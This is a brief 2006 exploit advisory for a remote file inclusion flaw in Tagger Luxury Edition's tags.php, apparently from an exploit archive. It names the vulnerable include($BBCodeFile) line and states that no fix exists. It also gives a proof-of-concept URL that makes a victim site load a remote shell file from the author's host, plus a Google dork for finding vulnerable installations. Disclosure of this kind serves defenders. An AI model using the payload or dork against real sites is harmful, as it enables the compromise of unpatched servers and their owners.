Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability

2006-08-09 00:00:00

Tagger v3 <= BBCodeFile Remote file inclusion

Discovered by : Morgan

Error in : tags.php
include($BBCodeFile);

Vendor Website: http://www.venturenine.com

PoC:
http://victim-site.com/tags.php?BBCodeFile=http://ehmorgan.net/shell.dat?

Google dork:

intitle:"Tagger LE" inurl:tags.php

Visit us :

www.ehmorgan.net
irc.gigachat.net
#Morgan

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.